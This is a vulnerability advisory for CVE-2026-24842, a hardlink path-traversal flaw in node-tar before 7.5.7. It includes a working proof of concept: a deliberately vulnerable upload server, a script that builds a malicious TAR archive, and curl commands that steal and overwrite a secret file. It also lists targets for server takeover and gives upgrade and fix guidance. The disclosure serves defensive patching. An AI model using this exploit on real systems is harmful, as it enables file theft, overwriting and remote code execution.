CVE-2026-24842: node-tar Vulnerable to Arbitrary File Creation/Overwrite via Hardlink Path Traversal

Published Jan 28, 2026
·
Updated

Summary node-tar contains a vulnerability where the security check for hardlink entries uses different path resolution semantics than the actual hardlink creation logic. This mismatch allows an attacker to craft a malicious TAR archive that bypasses path traversal protections and creates hardlinks to arbitrary files outside the extraction directory.

Details The vulnerability exists in lib/unpack.js. When extracting a hardlink, two functions handle the linkpath differently:

Security check in [STRIPABSOLUTEPATH]: javascript const entryDir = path.posix.dirname(entry.path); const resolved = path.posix.normalize(path.posix.join(entryDir, linkpath)); if (resolved.startsWith('../')) { / block / }

Hardlink creation in [HARDLINK]: javascript const linkpath = path.resolve(this.cwd, entry.linkpath); fs.linkSync(linkpath, dest);

Example: An application extracts a TAR using tar.extract({ cwd: '/var/app/uploads/' }). The TAR contains entry a/b/c/d/x as a hardlink to ../../../../etc/passwd.

- Security check resolves the linkpath relative to the entry's parent directory: a/b/c/d/ + ../../../../etc/passwd = etc/passwd. No ../ prefix, so it passes.

- Hardlink creation resolves the linkpath relative to the extraction directory (this.cwd): /var/app/uploads/ + ../../../../etc/passwd = /etc/passwd. This escapes to the system's /etc/passwd.

The security check and hardlink creation use different starting points (entry directory a/b/c/d/ vs extraction directory /var/app/uploads/), so the same linkpath can pass validation but still escape. The deeper the entry path, the more levels an attacker can escape.

PoC Setup

Create a new directory with these files:

poc/ ├── package.json ├── secret.txt ← sensitive file (target) ├── server.js ← vulnerable server ├── create-malicious-tar.js ├── verify.js └── uploads/ ← created automatically by server.js └── (extracted files go here)

package.json json { "dependencies": { "tar": "^7.5.0" } }

secret.txt (sensitive file outside uploads/) DATABASEPASSWORD=supersecret123

server.js (vulnerable file upload server) javascript const http = require('http'); const fs = require('fs'); const path = require('path'); const tar = require('tar');

const PORT = 3000; const UPLOADDIR = path.join(dirname, 'uploads'); fs.mkdirSync(UPLOADDIR, { recursive: true });

http.createServer((req, res) => { if (req.method === 'POST' && req.url === '/upload') { const chunks = []; req.on('data', c => chunks.push(c)); req.on('end', async () => { fs.writeFileSync(path.join(UPLOADDIR, 'upload.tar'), Buffer.concat(chunks)); await tar.extract({ file: path.join(UPLOADDIR, 'upload.tar'), cwd: UPLOADDIR }); res.end('Extracted\n'); }); } else if (req.method === 'GET' && req.url === '/read') { // Simulates app serving extracted files (e.g., file download, static assets) const targetPath = path.join(UPLOADDIR, 'd', 'x'); if (fs.existsSync(targetPath)) { res.end(fs.readFileSync(targetPath)); } else { res.end('File not found\n'); } } else if (req.method === 'POST' && req.url === '/write') { // Simulates app writing to extracted file (e.g., config update, log append) const chunks = []; req.on('data', c => chunks.push(c)); req.on('end', () => { const targetPath = path.join(UPLOADDIR, 'd', 'x'); if (fs.existsSync(targetPath)) { fs.writeFileSync(targetPath, Buffer.concat(chunks)); res.end('Written\n'); } else { res.end('File not found\n'); } }); } else { res.end('POST /upload, GET /read, or POST /write\n'); } }).listen(PORT, () => console.log(http://localhost:${PORT}));

create-malicious-tar.js (attacker creates exploit TAR) javascript const fs = require('fs');

function tarHeader(name, type, linkpath = '', size = 0) { const b = Buffer.alloc(512, 0); b.write(name, 0); b.write('0000644', 100); b.write('0000000', 108); b.write('0000000', 116); b.write(size.toString(8).padStart(11, '0'), 124); b.write(Math.floor(Date.now()/1000).toString(8).padStart(11, '0'), 136); b.write(' ', 148); b[156] = type === 'dir' ? 53 : type === 'link' ? 49 : 48; if (linkpath) b.write(linkpath, 157); b.write('ustar\x00', 257); b.write('00', 263); let sum = 0; for (let i = 0; i < 512; i++) sum += b[i]; b.write(sum.toString(8).padStart(6, '0') + '\x00 ', 148); return b; }

// Hardlink escapes to parent directory's secret.txt fs.writeFileSync('malicious.tar', Buffer.concat([ tarHeader('d/', 'dir'), tarHeader('d/x', 'link', '../secret.txt'), Buffer.alloc(1024) ])); console.log('Created malicious.tar');

Run

bash Setup npm install echo "DATABASEPASSWORD=supersecret123" > secret.txt

Terminal 1: Start server node server.js

Terminal 2: Execute attack node create-malicious-tar.js curl -X POST --data-binary @malicious.tar http://localhost:3000/upload

READ ATTACK: Steal secret.txt content via the hardlink curl http://localhost:3000/read Returns: DATABASEPASSWORD=supersecret123

WRITE ATTACK: Overwrite secret.txt through the hardlink curl -X POST -d "PWNED" http://localhost:3000/write

Confirm secret.txt was modified cat secret.txt Impact

An attacker can craft a malicious TAR archive that, when extracted by an application using node-tar, creates hardlinks that escape the extraction directory. This enables:

Immediate (Read Attack): If the application serves extracted files, attacker can read any file readable by the process.

Conditional (Write Attack): If the application later writes to the hardlink path, it modifies the target file outside the extraction directory.

Remote Code Execution / Server Takeover

| Attack Vector | Target File | Result | |--------------|-------------|--------| | SSH Access | ~/.ssh/authorizedkeys | Direct shell access to server | | Cron Backdoor | /etc/cron.d/, ~/.crontab | Persistent code execution | | Shell RC Files | ~/.bashrc, ~/.profile | Code execution on user login | | Web App Backdoor | Application .js, .php, .py files | Immediate RCE via web requests | | Systemd Services | /etc/systemd/system/.service | Code execution on service restart | | User Creation | /etc/passwd (if running as root) | Add new privileged user |

Data Exfiltration & Corruption

1. Overwrite arbitrary files via hardlink escape + subsequent write operations 2. Read sensitive files by creating hardlinks that point outside extraction directory 3. Corrupt databases and application state 4. Steal credentials from config files, .env, secrets

Other sources

node-tar,a Tar for Node.js, contains a vulnerability in versions prior to 7.5.7 where the security check for hardlink entries uses different path resolution semantics than the actual hardlink creation logic. This mismatch allows an attacker to craft a malicious TAR archive that bypasses path traversal protections and creates hardlinks to arbitrary files outside the extraction directory. Version 7.5.7 contains a fix for the issue.

MITRE

Affected Software

4 affected componentsFixes available
npm/node-tar<7.5.7
npm/tar<7.5.7
7.5.7
isaacs Tar Node.js<7.5.7
IBM watsonx.data intelligence<=5.2.0, 5.2.1, 5.3.0, 5.3.1

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/tar to a version that resolves this vulnerability.

    Fixed in 7.5.7
  2. Upgrade

    Upgrade node-tar to a version that resolves this vulnerability.

    Fixed in 7.5.7
  3. Configuration

    In lib/unpack.js, ensure the security check for hardlink entries resolves the linkpath using the same starting directory/semantics as the code that creates the hardlink; this removes the mismatch that lets a malicious TAR pass validation while escaping the extraction directory.

    node-tar (lib/unpack.js hardlink handling) hardlink path resolution for security check vs hardlink creation = Use the same path resolution semantics for the hardlink security check as for actual hardlink creation (so linkpath validated in the same base directory it is resolved from).

Event History

Jan 28, 2026
CVE Published
via MITRE·12:20 AM
Data Sourced
via MITRE·12:20 AM
DescriptionSeverityWeakness
Data Sourced
via Red Hat·01:01 AM
DescriptionSeverityAffected Software
Data Sourced
via NVD·01:16 AM
RemedyDescriptionSeverityWeaknessAffected Software
Advisory Published
via GitHub·04:35 PM
Data Sourced
via GitHub·04:35 PM
DescriptionSeverityWeaknessAffected Software
Apr 27, 2026
Data Sourced
via IBM·12:00 AM
DescriptionAffected Software

Parent advisories

This vulnerability appears in the following advisories.

Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-24842?

CVE-2026-24842 is classified as a medium severity vulnerability due to potential arbitrary file creation and overwriting risks.

2

How do I fix CVE-2026-24842?

To fix CVE-2026-24842, update node-tar to version 7.5.7 or later.

3

What are the potential impacts of CVE-2026-24842?

CVE-2026-24842 can allow attackers to create or overwrite files on the system using hardlink path traversal techniques.

4

Which versions of node-tar are affected by CVE-2026-24842?

Versions of node-tar prior to 7.5.7 are affected by CVE-2026-24842.

5

Is it safe to use node-tar versions below 7.5.7 after CVE-2026-24842 is disclosed?

Using node-tar versions below 7.5.7 is not safe after the disclosure of CVE-2026-24842 due to the identified vulnerabilities.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203